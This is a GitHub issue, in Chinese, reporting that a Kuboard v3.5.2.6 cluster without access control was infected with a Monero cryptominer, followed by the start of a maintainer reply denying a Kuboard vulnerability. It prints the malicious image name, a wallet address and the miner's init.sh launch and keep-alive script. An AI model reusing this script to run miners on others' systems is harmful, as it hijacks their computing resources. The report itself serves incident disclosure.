Closed lyitt1987 closed 5 days ago
由于没做访问控制,被植入了挖矿程序
kuboard版本:v3.5.2.6
挖矿镜像:xmriger/jenkins:nano
运行的挖矿pod
挖矿pod里面的进程
提前的相关文件内容 `/app # cat apiSslMixConfig.json { "api_url": "gCHFYaVzdxeCN9xmqGx2FYcp", "base_server_address": "gCHFYaVzdxeCN9xmqG90FoAv", "app_name": "" /app # cat init.sh
export POOL=127.0.0.1:9443 export WALLET=43p8AgGKbhH198j4aTvwMb42PwT6Mc1qzYm7Bxg4y4DTESJtGAvzgGePtwqudFmz7RCi29fwkuG4ZLgxmmQzN8joADCEv9S docker_pid=$(pgrep -f "/app/docker --url=$POOL") if [ -z "$docker_pid" ]; then /app/docker --url=$POOL --donate-level=0 --user=$WALLET --pass=sslmix -k --coin monero > /dev/null 2>&1 & docker_pid=$! fi run_pid=$(pgrep -f "/app/run") if [ -z "$run_pid" ]; then /app/run > /dev/null 2>&1 & run_pid=$! fi while true do if ! ps | grep -q "[ ]$docker_pid " then kill $run_pid break fi if ! ps | grep -q "[ ]$run_pid " then /app/run > /dev/null 2>&1 & run_pid=$! fi if ! ps aux | grep '[{]sslmix[}] 1 2' > /dev/null then kill $run_pid break fi
sleep 30
done /app # cat localConfig.json { "local_port_and_address": null, "app_name": "", "notify_text": "", "uuid": "1715392212023552473" }/app # `
请问3.5.2.7版本有修复这个吗?
Kuboard 没有这个漏洞,你安装 Kuboard 后,建议:
由于没做访问控制,被植入了挖矿程序
kuboard版本:v3.5.2.6![image](https://github.com/user-attachments/assets/f302cc73-a587-43e3-80b0-065236e29689)
挖矿镜像:xmriger/jenkins:nano![image](https://github.com/user-attachments/assets/438854e4-29ed-41b9-9336-aa5ac647a47f)
运行的挖矿pod![image](https://github.com/user-attachments/assets/363b8471-bf5d-4526-ad0a-77adcf91a3b1)
挖矿pod里面的进程![image](https://github.com/user-attachments/assets/ca6f5ba2-c15a-4637-94dc-92ebd12448d7)
提前的相关文件内容 `/app # cat apiSslMixConfig.json { "api_url": "gCHFYaVzdxeCN9xmqGx2FYcp", "base_server_address": "gCHFYaVzdxeCN9xmqG90FoAv", "app_name": "" /app # cat init.sh
!/bin/bash
export POOL=127.0.0.1:9443 export WALLET=43p8AgGKbhH198j4aTvwMb42PwT6Mc1qzYm7Bxg4y4DTESJtGAvzgGePtwqudFmz7RCi29fwkuG4ZLgxmmQzN8joADCEv9S docker_pid=$(pgrep -f "/app/docker --url=$POOL") if [ -z "$docker_pid" ]; then /app/docker --url=$POOL --donate-level=0 --user=$WALLET --pass=sslmix -k --coin monero > /dev/null 2>&1 & docker_pid=$! fi run_pid=$(pgrep -f "/app/run") if [ -z "$run_pid" ]; then /app/run > /dev/null 2>&1 & run_pid=$! fi while true do if ! ps | grep -q "[ ]$docker_pid " then kill $run_pid break fi if ! ps | grep -q "[ ]$run_pid " then /app/run > /dev/null 2>&1 & run_pid=$! fi if ! ps aux | grep '[{]sslmix[}] 1 2' > /dev/null then kill $run_pid break fi
done /app # cat localConfig.json { "local_port_and_address": null, "app_name": "", "notify_text": "", "uuid": "1715392212023552473" }/app # `